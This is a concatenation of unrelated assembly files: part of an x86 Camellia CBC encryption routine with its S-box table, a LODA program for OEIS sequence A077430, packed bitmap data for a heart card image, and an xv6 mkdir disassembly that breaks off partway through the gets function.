DD 12698049,1879076976
DD 16777215,4278255615
DD 13158600,838873650
DD 10855845,1761634665
DD 2105376,134219784
DD 9013641,1644192354
DD 0,0
DD 9474192,603989028
DD 4671303,3506491857
DD 15724527,4211145723
DD 15395562,3120609978
DD 12040119,3976261101
DD 1381653,1157645637
DD 394758,2164294017
DD 13487565,1929409395
DD 11908533,1828744557
DD 1184274,2214626436
DD 8289918,2667618207
DD 12303291,3993038574
DD 2697513,1241533002
DD 986895,3271607235
DD 12105912,771763758
DD 460551,3238052289
DD 263172,16777473
DD 10197915,3858818790
DD 9737364,620766501
DD 2171169,1207978056
DD 6710886,2566953369
DD 15132390,3103832505
DD 13553358,3003167667
DD 15592941,2063629179
DD 15198183,4177590777
DD 3881787,3456159438
DD 16711422,3204497343
DD 8355711,3741376479
DD 12961221,1895854449
DD 10790052,687876393
DD 3618615,3439381965
DD 11645361,1811967084
DD 5000268,318771987
DD 9539985,1677747300
DD 7237230,2600508315
DD 9276813,1660969827
DD 7763574,2634063261
DD 197379,3221274816
DD 2960685,1258310475
DD 14606046,3070277559
DD 9868950,2768283045
DD 2500134,2298513801
DD 8224125,1593859935
DD 13027014,2969612721
DD 6052956,385881879
DD 13882323,4093703412
DD 15921906,3154164924
DD 5197647,3540046803
DD 1644825,1174423110
DD 4144959,3472936911
DD 14474460,922761015
DD 7960953,1577082462
DD 1907997,1191200583
DD 5395026,2483066004
DD 15461355,4194368250
DD 15987699,4227923196
DD 7171437,1526750043
DD 6184542,2533398423
DD 16514043,4261478142
DD 6908265,1509972570
DD 11711154,2885725356
DD 15790320,1006648380
DD 3223857,1275087948
DD 789516,50332419
DD 13948116,889206069
DD 13619151,4076925939
DD 9211020,587211555
DD 14869218,3087055032
DD 7697781,1560304989
DD 11119017,1778412138
DD 4868682,2449511058
DD 5723991,3573601749
DD 8684676,553656609
DD 1118481,1140868164
DD 4539717,1358975313
DD 1776411,3321939654
DD 16119285,2097184125
DD 15000804,956315961
DD 921102,2197848963
DD 7566195,3691044060
DD 11184810,2852170410
DD 15856113,2080406652
DD 14540253,1996519287
DD 5855577,1442862678
DD 1315860,83887365
DD 7105644,452991771
DD 9605778,2751505572
DD 5526612,352326933
DD 13684944,872428596
DD 7895160,503324190
DD 7368816,469769244
DD 14935011,4160813304
DD 4802889,1375752786
DD 8421504,536879136
DD 5263440,335549460
DD 10987431,3909151209
DD 16185078,3170942397
DD 7829367,3707821533
DD 9671571,3825263844
DD 8816262,2701173153
DD 8618883,3758153952
DD 2763306,2315291274
DD 13092807,4043370993
DD 5987163,3590379222
DD 15329769,2046851706
DD 15658734,3137387451
DD 9408399,3808486371
DD 65793,1073758272
DD 4013373,1325420367
ALIGN 16
_Camellia_cbc_encrypt PROC PUBLIC
$L_Camellia_cbc_encrypt_begin::
push ebp
push ebx
push esi
push edi
mov ecx,DWORD PTR 28[esp]
cmp ecx,0
je $L016enc_out
pushfd
cld
mov eax,DWORD PTR 24[esp]
mov ebx,DWORD PTR 28[esp]
mov edx,DWORD PTR 36[esp]
mov ebp,DWORD PTR 40[esp]
lea esi,DWORD PTR [esp-64]
and esi,-64
lea edi,DWORD PTR [edx-127]
sub edi,esi
neg edi
and edi,960
sub esi,edi
mov edi,DWORD PTR 44[esp]
xchg esp,esi
add esp,4
mov DWORD PTR 20[esp],esi
mov DWORD PTR 24[esp],eax
mov DWORD PTR 28[esp],ebx
mov DWORD PTR 32[esp],ecx
mov DWORD PTR 36[esp],edx
mov DWORD PTR 40[esp],ebp
call $L017pic_point
$L017pic_point:
pop ebp
lea ebp,DWORD PTR ($LCamellia_SBOX-$L017pic_point)[ebp]
mov esi,32
ALIGN 4
$L018prefetch_sbox:
mov eax,DWORD PTR [ebp]
mov ebx,DWORD PTR 32[ebp]
mov ecx,DWORD PTR 64[ebp]
mov edx,DWORD PTR 96[ebp]
lea ebp,DWORD PTR 128[ebp]
dec esi
jnz $L018prefetch_sbox
mov eax,DWORD PTR 36[esp]
sub ebp,4096
mov esi,DWORD PTR 24[esp]
mov edx,DWORD PTR 272[eax]
cmp edi,0
je $L019DECRYPT
mov ecx,DWORD PTR 32[esp]
mov edi,DWORD PTR 40[esp]
shl edx,6
lea edx,DWORD PTR [edx*1+eax]
mov DWORD PTR 16[esp],edx
test ecx,4294967280
jz $L020enc_tail
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
ALIGN 4
$L021enc_loop:
mov ecx,DWORD PTR 8[edi]
mov edx,DWORD PTR 12[edi]
xor eax,DWORD PTR [esi]
xor ebx,DWORD PTR 4[esi]
xor ecx,DWORD PTR 8[esi]
bswap eax
xor edx,DWORD PTR 12[esi]
bswap ebx
mov edi,DWORD PTR 36[esp]
bswap ecx
bswap edx
call __x86_Camellia_encrypt
mov esi,DWORD PTR 24[esp]
mov edi,DWORD PTR 28[esp]
bswap eax
bswap ebx
bswap ecx
mov DWORD PTR [edi],eax
bswap edx
mov DWORD PTR 4[edi],ebx
mov DWORD PTR 8[edi],ecx
mov DWORD PTR 12[edi],edx
mov ecx,DWORD PTR 32[esp]
lea esi,DWORD PTR 16[esi]
mov DWORD PTR 24[esp],esi
lea edx,DWORD PTR 16[edi]
mov DWORD PTR 28[esp],edx
sub ecx,16
test ecx,4294967280
mov DWORD PTR 32[esp],ecx
jnz $L021enc_loop
test ecx,15
jnz $L020enc_tail
mov esi,DWORD PTR 40[esp]
mov ecx,DWORD PTR 8[edi]
mov edx,DWORD PTR 12[edi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
mov esp,DWORD PTR 20[esp]
popfd
$L016enc_out:
pop edi
pop esi
pop ebx
pop ebp
ret
pushfd
ALIGN 4
$L020enc_tail:
mov eax,edi
mov edi,DWORD PTR 28[esp]
push eax
mov ebx,16
sub ebx,ecx
cmp edi,esi
je $L022enc_in_place
ALIGN 4
DD 2767451785
jmp $L023enc_skip_in_place
$L022enc_in_place:
lea edi,DWORD PTR [ecx*1+edi]
$L023enc_skip_in_place:
mov ecx,ebx
xor eax,eax
ALIGN 4
DD 2868115081
pop edi
mov esi,DWORD PTR 28[esp]
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
mov DWORD PTR 32[esp],16
jmp $L021enc_loop
ALIGN 16
$L019DECRYPT:
shl edx,6
lea edx,DWORD PTR [edx*1+eax]
mov DWORD PTR 16[esp],eax
mov DWORD PTR 36[esp],edx
cmp esi,DWORD PTR 28[esp]
je $L024dec_in_place
mov edi,DWORD PTR 40[esp]
mov DWORD PTR 44[esp],edi
ALIGN 4
$L025dec_loop:
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
bswap eax
mov edx,DWORD PTR 12[esi]
bswap ebx
mov edi,DWORD PTR 36[esp]
bswap ecx
bswap edx
call __x86_Camellia_decrypt
mov edi,DWORD PTR 44[esp]
mov esi,DWORD PTR 32[esp]
bswap eax
bswap ebx
bswap ecx
xor eax,DWORD PTR [edi]
bswap edx
xor ebx,DWORD PTR 4[edi]
xor ecx,DWORD PTR 8[edi]
xor edx,DWORD PTR 12[edi]
sub esi,16
jc $L026dec_partial
mov DWORD PTR 32[esp],esi
mov esi,DWORD PTR 24[esp]
mov edi,DWORD PTR 28[esp]
mov DWORD PTR [edi],eax
mov DWORD PTR 4[edi],ebx
mov DWORD PTR 8[edi],ecx
mov DWORD PTR 12[edi],edx
mov DWORD PTR 44[esp],esi
lea esi,DWORD PTR 16[esi]
mov DWORD PTR 24[esp],esi
lea edi,DWORD PTR 16[edi]
mov DWORD PTR 28[esp],edi
jnz $L025dec_loop
mov edi,DWORD PTR 44[esp]
$L027dec_end:
mov esi,DWORD PTR 40[esp]
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
mov ecx,DWORD PTR 8[edi]
mov edx,DWORD PTR 12[edi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
jmp $L028dec_out
ALIGN 4
$L026dec_partial:
lea edi,DWORD PTR 44[esp]
mov DWORD PTR [edi],eax
mov DWORD PTR 4[edi],ebx
mov DWORD PTR 8[edi],ecx
mov DWORD PTR 12[edi],edx
lea ecx,DWORD PTR 16[esi]
mov esi,edi
mov edi,DWORD PTR 28[esp]
DD 2767451785
mov edi,DWORD PTR 24[esp]
jmp $L027dec_end
ALIGN 4
$L024dec_in_place:
$L029dec_in_place_loop:
lea edi,DWORD PTR 44[esp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edx,DWORD PTR 12[esi]
mov DWORD PTR [edi],eax
mov DWORD PTR 4[edi],ebx
mov DWORD PTR 8[edi],ecx
bswap eax
mov DWORD PTR 12[edi],edx
bswap ebx
mov edi,DWORD PTR 36[esp]
bswap ecx
bswap edx
call __x86_Camellia_decrypt
mov edi,DWORD PTR 40[esp]
mov esi,DWORD PTR 28[esp]
bswap eax
bswap ebx
bswap ecx
xor eax,DWORD PTR [edi]
bswap edx
xor ebx,DWORD PTR 4[edi]
xor ecx,DWORD PTR 8[edi]
xor edx,DWORD PTR 12[edi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
lea esi,DWORD PTR 16[esi]
mov DWORD PTR 28[esp],esi
lea esi,DWORD PTR 44[esp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edx,DWORD PTR 12[esi]
mov DWORD PTR [edi],eax
mov DWORD PTR 4[edi],ebx
mov DWORD PTR 8[edi],ecx
mov DWORD PTR 12[edi],edx
mov esi,DWORD PTR 24[esp]
lea esi,DWORD PTR 16[esi]
mov DWORD PTR 24[esp],esi
mov ecx,DWORD PTR 32[esp]
sub ecx,16
jc $L030dec_in_place_partial
mov DWORD PTR 32[esp],ecx
jnz $L029dec_in_place_loop
jmp $L028dec_out
ALIGN 4
$L030dec_in_place_partial:
mov edi,DWORD PTR 28[esp]
lea esi,DWORD PTR 44[esp]
lea edi,DWORD PTR [ecx*1+edi]
lea esi,DWORD PTR 16[ecx*1+esi]
neg ecx
DD 2767451785
ALIGN 4
$L028dec_out:
mov esp,DWORD PTR 20[esp]
popfd
pop edi
pop esi
pop ebx
pop ebp
ret
_Camellia_cbc_encrypt ENDP
DB 67,97,109,101,108,108,105,97,32,102,111,114,32,120,56,54
DB 32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115
DB 115,108,46,111,114,103,62,0
.text$ ENDS
END
|
; A077430: a(n) = floor(log_10(2*n^2)) + 1.
; 1,1,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
add $0,1
pow $0,2
mov $1,-1
mov $2,$0
mul $2,2
lpb $2
add $1,1
div $2,10
lpe
add $1,1
mov $0,$1
|
LMHeart8 label byte
word C_BLACK
Bitmap <71,100,BMC_PACKBITS,BMF_MONO>
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x01, 0x03, 0xe0, 0xfc, 0x00, 0x01, 0x1d, 0xc0
db 0x01, 0x07, 0xf0, 0xfc, 0x00, 0x01, 0x37, 0x60
db 0x01, 0x0e, 0x38, 0xfc, 0x00, 0x01, 0x2a, 0xa0
db 0x01, 0x0c, 0x18, 0xfc, 0x00, 0x01, 0x35, 0x60
db 0x01, 0x0c, 0x18, 0xfc, 0x00, 0x01, 0x1a, 0xc0
db 0x01, 0x0e, 0x38, 0xfc, 0x00, 0x01, 0x0d, 0x80
db 0x01, 0x07, 0xf0, 0xfc, 0x00, 0x01, 0x07, 0x00
db 0x08, 0x07, 0xf0, 0x0f, 0x1e, 0x00, 0x3c, 0x78,
0x02, 0x00
db 0x08, 0x0e, 0x38, 0x1b, 0xbb, 0x00, 0x6e, 0xec,
0x00, 0x00
db 0x08, 0x0c, 0x18, 0x35, 0xf5, 0x80, 0xd7, 0xd6,
0x00, 0x00
db 0x08, 0x0c, 0x18, 0x2a, 0xea, 0x80, 0xab, 0xaa,
0x00, 0x00
db 0x08, 0x0c, 0x18, 0x35, 0x55, 0x80, 0xd5, 0x56,
0x00, 0x00
db 0x08, 0x0e, 0x38, 0x2a, 0xaa, 0x80, 0xaa, 0xaa,
0x00, 0x00
db 0x08, 0x07, 0xf0, 0x15, 0x55, 0x00, 0x55, 0x54,
0x00, 0x00
db 0x08, 0x03, 0xe0, 0x1a, 0xab, 0x00, 0x6a, 0xac,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0d, 0x56, 0x00, 0x35, 0x58,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x06, 0xac, 0x00, 0x1a, 0xb0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x03, 0x58, 0x00, 0x0d, 0x60,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x01, 0xb0, 0x00, 0x06, 0xc0,
0x00, 0x00
db 0xfe, 0x00, 0x05, 0xe0, 0x00, 0x03, 0x80, 0x00,
0x00
db 0xfe, 0x00, 0x02, 0x40, 0x00, 0x01, 0xfe, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xfe, 0x00, 0x02, 0x01, 0xe3, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x03, 0x77, 0x60, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x06, 0xbe, 0xb0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x05, 0x5d, 0x50, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x06, 0xaa, 0xb0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x05, 0x55, 0x50, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x02, 0xaa, 0xa0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x03, 0x55, 0x60, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x01, 0xaa, 0xc0, 0xfe, 0x00
db 0xfd, 0x00, 0x01, 0xd5, 0x80, 0xfe, 0x00
db 0xfd, 0x00, 0x00, 0x6b, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x36, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x1c, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x08, 0xfd, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x08, 0x00, 0x00, 0x0f, 0x1e, 0x00, 0x3c, 0x78,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1b, 0xbb, 0x00, 0x6e, 0xec,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x35, 0xf5, 0x80, 0xd7, 0xd6,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x2a, 0xea, 0x80, 0xab, 0xaa,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x35, 0x55, 0x80, 0xd5, 0x56,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x2a, 0xaa, 0x80, 0xaa, 0xaa,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x15, 0x55, 0x00, 0x55, 0x54,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1a, 0xab, 0x00, 0x6a, 0xac,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0d, 0x56, 0x00, 0x35, 0x58,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x06, 0xac, 0x00, 0x1a, 0xb0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x03, 0x58, 0x00, 0x0d, 0x60,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x01, 0xb0, 0x00, 0x06, 0xc0,
0x00, 0x00
db 0xfe, 0x00, 0x05, 0xe0, 0x00, 0x03, 0x80, 0x00,
0x00
db 0xfe, 0x00, 0x02, 0x40, 0x00, 0x01, 0xfe, 0x00
db 0xfd, 0x00, 0x00, 0x08, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x1c, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x36, 0xfd, 0x00
db 0xfd, 0x00, 0x00, 0x6b, 0xfd, 0x00
db 0xfd, 0x00, 0x01, 0xd5, 0x80, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x01, 0xaa, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x03, 0x55, 0x60, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x02, 0xaa, 0xa0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x05, 0x55, 0x50, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x06, 0xaa, 0xb0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x05, 0x5d, 0x50, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x06, 0xbe, 0xb0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x03, 0x77, 0x60, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x01, 0xe3, 0xc0, 0xfe, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xfe, 0x00, 0x02, 0x40, 0x00, 0x01, 0xfe, 0x00
db 0xfe, 0x00, 0x05, 0xe0, 0x00, 0x03, 0x80, 0x00,
0x00
db 0x08, 0x00, 0x00, 0x01, 0xb0, 0x00, 0x06, 0xc0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x03, 0x58, 0x00, 0x0d, 0x60,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x06, 0xac, 0x00, 0x1a, 0xb0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0d, 0x56, 0x00, 0x35, 0x58,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1a, 0xab, 0x00, 0x6a, 0xac,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x15, 0x55, 0x00, 0x55, 0x54,
0x0f, 0x80
db 0x08, 0x00, 0x00, 0x2a, 0xaa, 0x80, 0xaa, 0xaa,
0x1f, 0xc0
db 0x08, 0x00, 0x00, 0x35, 0x55, 0x80, 0xd5, 0x56,
0x38, 0xe0
db 0x08, 0x00, 0x00, 0x2a, 0xea, 0x80, 0xab, 0xaa,
0x30, 0x60
db 0x08, 0x00, 0x00, 0x35, 0xf5, 0x80, 0xd7, 0xd6,
0x30, 0x60
db 0x08, 0x00, 0x00, 0x1b, 0xbb, 0x00, 0x6e, 0xec,
0x30, 0x60
db 0x08, 0x00, 0x00, 0x0f, 0x1e, 0x00, 0x3c, 0x78,
0x38, 0xe0
db 0x01, 0x00, 0x80, 0xfc, 0x00, 0x01, 0x1f, 0xc0
db 0x01, 0x01, 0xc0, 0xfc, 0x00, 0x01, 0x1f, 0xc0
db 0x01, 0x03, 0x60, 0xfc, 0x00, 0x01, 0x38, 0xe0
db 0x01, 0x06, 0xb0, 0xfc, 0x00, 0x01, 0x30, 0x60
db 0x01, 0x0d, 0x58, 0xfc, 0x00, 0x01, 0x30, 0x60
db 0x01, 0x0a, 0xa8, 0xfc, 0x00, 0x01, 0x38, 0xe0
db 0x01, 0x0d, 0xd8, 0xfc, 0x00, 0x01, 0x1f, 0xc0
db 0x01, 0x07, 0x70, 0xfc, 0x00, 0x01, 0x0f, 0x80
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
|
_mkdir: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
int i;
if(argc < 2){
9: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
d: 7f 19 jg 28 <main+0x28>
printf(2, "Usage: mkdir files...\n");
f: c7 44 24 04 83 08 00 movl $0x883,0x4(%esp)
16: 00
17: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1e: e8 94 04 00 00 call 4b7 <printf>
exit();
23: e8 cf 02 00 00 call 2f7 <exit>
}
for(i = 1; i < argc; i++){
28: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
2f: 00
30: eb 4f jmp 81 <main+0x81>
if(mkdir(argv[i]) < 0){
32: 8b 44 24 1c mov 0x1c(%esp),%eax
36: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
3d: 8b 45 0c mov 0xc(%ebp),%eax
40: 01 d0 add %edx,%eax
42: 8b 00 mov (%eax),%eax
44: 89 04 24 mov %eax,(%esp)
47: e8 13 03 00 00 call 35f <mkdir>
4c: 85 c0 test %eax,%eax
4e: 79 2c jns 7c <main+0x7c>
printf(2, "mkdir: %s failed to create\n", argv[i]);
50: 8b 44 24 1c mov 0x1c(%esp),%eax
54: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
5b: 8b 45 0c mov 0xc(%ebp),%eax
5e: 01 d0 add %edx,%eax
60: 8b 00 mov (%eax),%eax
62: 89 44 24 08 mov %eax,0x8(%esp)
66: c7 44 24 04 9a 08 00 movl $0x89a,0x4(%esp)
6d: 00
6e: c7 04 24 02 00 00 00 movl $0x2,(%esp)
75: e8 3d 04 00 00 call 4b7 <printf>
break;
7a: eb 0e jmp 8a <main+0x8a>
if(argc < 2){
printf(2, "Usage: mkdir files...\n");
exit();
}
for(i = 1; i < argc; i++){
7c: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
81: 8b 44 24 1c mov 0x1c(%esp),%eax
85: 3b 45 08 cmp 0x8(%ebp),%eax
88: 7c a8 jl 32 <main+0x32>
printf(2, "mkdir: %s failed to create\n", argv[i]);
break;
}
}
exit();
8a: e8 68 02 00 00 call 2f7 <exit>
0000008f <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
8f: 55 push %ebp
90: 89 e5 mov %esp,%ebp
92: 57 push %edi
93: 53 push %ebx
asm volatile("cld; rep stosb" :
94: 8b 4d 08 mov 0x8(%ebp),%ecx
97: 8b 55 10 mov 0x10(%ebp),%edx
9a: 8b 45 0c mov 0xc(%ebp),%eax
9d: 89 cb mov %ecx,%ebx
9f: 89 df mov %ebx,%edi
a1: 89 d1 mov %edx,%ecx
a3: fc cld
a4: f3 aa rep stos %al,%es:(%edi)
a6: 89 ca mov %ecx,%edx
a8: 89 fb mov %edi,%ebx
aa: 89 5d 08 mov %ebx,0x8(%ebp)
ad: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
b0: 5b pop %ebx
b1: 5f pop %edi
b2: 5d pop %ebp
b3: c3 ret
000000b4 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
b4: 55 push %ebp
b5: 89 e5 mov %esp,%ebp
b7: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
ba: 8b 45 08 mov 0x8(%ebp),%eax
bd: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
c0: 90 nop
c1: 8b 45 08 mov 0x8(%ebp),%eax
c4: 8d 50 01 lea 0x1(%eax),%edx
c7: 89 55 08 mov %edx,0x8(%ebp)
ca: 8b 55 0c mov 0xc(%ebp),%edx
cd: 8d 4a 01 lea 0x1(%edx),%ecx
d0: 89 4d 0c mov %ecx,0xc(%ebp)
d3: 0f b6 12 movzbl (%edx),%edx
d6: 88 10 mov %dl,(%eax)
d8: 0f b6 00 movzbl (%eax),%eax
db: 84 c0 test %al,%al
dd: 75 e2 jne c1 <strcpy+0xd>
;
return os;
df: 8b 45 fc mov -0x4(%ebp),%eax
}
e2: c9 leave
e3: c3 ret
000000e4 <strcmp>:
int
strcmp(const char *p, const char *q)
{
e4: 55 push %ebp
e5: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
e7: eb 08 jmp f1 <strcmp+0xd>
p++, q++;
e9: 83 45 08 01 addl $0x1,0x8(%ebp)
ed: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f1: 8b 45 08 mov 0x8(%ebp),%eax
f4: 0f b6 00 movzbl (%eax),%eax
f7: 84 c0 test %al,%al
f9: 74 10 je 10b <strcmp+0x27>
fb: 8b 45 08 mov 0x8(%ebp),%eax
fe: 0f b6 10 movzbl (%eax),%edx
101: 8b 45 0c mov 0xc(%ebp),%eax
104: 0f b6 00 movzbl (%eax),%eax
107: 38 c2 cmp %al,%dl
109: 74 de je e9 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
10b: 8b 45 08 mov 0x8(%ebp),%eax
10e: 0f b6 00 movzbl (%eax),%eax
111: 0f b6 d0 movzbl %al,%edx
114: 8b 45 0c mov 0xc(%ebp),%eax
117: 0f b6 00 movzbl (%eax),%eax
11a: 0f b6 c0 movzbl %al,%eax
11d: 29 c2 sub %eax,%edx
11f: 89 d0 mov %edx,%eax
}
121: 5d pop %ebp
122: c3 ret
00000123 <strlen>:
uint
strlen(char *s)
{
123: 55 push %ebp
124: 89 e5 mov %esp,%ebp
126: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
129: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
130: eb 04 jmp 136 <strlen+0x13>
132: 83 45 fc 01 addl $0x1,-0x4(%ebp)
136: 8b 55 fc mov -0x4(%ebp),%edx
139: 8b 45 08 mov 0x8(%ebp),%eax
13c: 01 d0 add %edx,%eax
13e: 0f b6 00 movzbl (%eax),%eax
141: 84 c0 test %al,%al
143: 75 ed jne 132 <strlen+0xf>
;
return n;
145: 8b 45 fc mov -0x4(%ebp),%eax
}
148: c9 leave
149: c3 ret
0000014a <memset>:
void*
memset(void *dst, int c, uint n)
{
14a: 55 push %ebp
14b: 89 e5 mov %esp,%ebp
14d: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
150: 8b 45 10 mov 0x10(%ebp),%eax
153: 89 44 24 08 mov %eax,0x8(%esp)
157: 8b 45 0c mov 0xc(%ebp),%eax
15a: 89 44 24 04 mov %eax,0x4(%esp)
15e: 8b 45 08 mov 0x8(%ebp),%eax
161: 89 04 24 mov %eax,(%esp)
164: e8 26 ff ff ff call 8f <stosb>
return dst;
169: 8b 45 08 mov 0x8(%ebp),%eax
}
16c: c9 leave
16d: c3 ret
0000016e <strchr>:
char*
strchr(const char *s, char c)
{
16e: 55 push %ebp
16f: 89 e5 mov %esp,%ebp
171: 83 ec 04 sub $0x4,%esp
174: 8b 45 0c mov 0xc(%ebp),%eax
177: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
17a: eb 14 jmp 190 <strchr+0x22>
if(*s == c)
17c: 8b 45 08 mov 0x8(%ebp),%eax
17f: 0f b6 00 movzbl (%eax),%eax
182: 3a 45 fc cmp -0x4(%ebp),%al
185: 75 05 jne 18c <strchr+0x1e>
return (char*)s;
187: 8b 45 08 mov 0x8(%ebp),%eax
18a: eb 13 jmp 19f <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
18c: 83 45 08 01 addl $0x1,0x8(%ebp)
190: 8b 45 08 mov 0x8(%ebp),%eax
193: 0f b6 00 movzbl (%eax),%eax
196: 84 c0 test %al,%al
198: 75 e2 jne 17c <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
19a: b8 00 00 00 00 mov $0x0,%eax
}
19f: c9 leave
1a0: c3 ret
000001a1 <gets>:
char*
gets(char *buf, int max)
{
1a1: 55 push %ebp
1a2: 89 e5 mov %esp,%ebp
1a4: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1a7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1ae: eb 4c jmp 1fc <gets+0x5b>
cc = read(0, &c, 1);
1b0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1b7: 00
1b8: 8d 45 ef lea -0x11(%ebp),%eax
1bb: 89 44 24 04 mov %eax,0x4(%esp)
1bf: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1c6: e8 44 01 00 00 call 30f <read>
1cb: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1ce: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1d2: 7f 02 jg 1d6 <gets+0x35>
break;
1d4: eb 31 jmp 207 <gets+0x66>
buf[i++] = c;
1d6: 8b 45 f4 mov -0xc(%ebp),%eax
1d9: 8d 50 01 lea 0x1(%eax),%edx
1dc: 89 55 f4 mov %edx,-0xc(%ebp)
1df: 89 c2 mov %eax,%edx
1e1: 8b 45 08 mov 0x8(%ebp),%eax
1e4: 01 c2 add %eax,%edx
1e6: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1ea: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1ec: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1f0: 3c 0a cmp $0xa,%al
1f2: 74 13 je 207 <gets+0x66>
1f4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1f8: 3c 0d cmp $0xd,%al
1fa: 74 0b je 207 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1fc: 8b 45 f4 mov -0xc(%ebp),%eax
1ff: 83 c0 01 add $0x1,%eax
202: 3b 45 0c cmp 0xc(%ebp),%eax
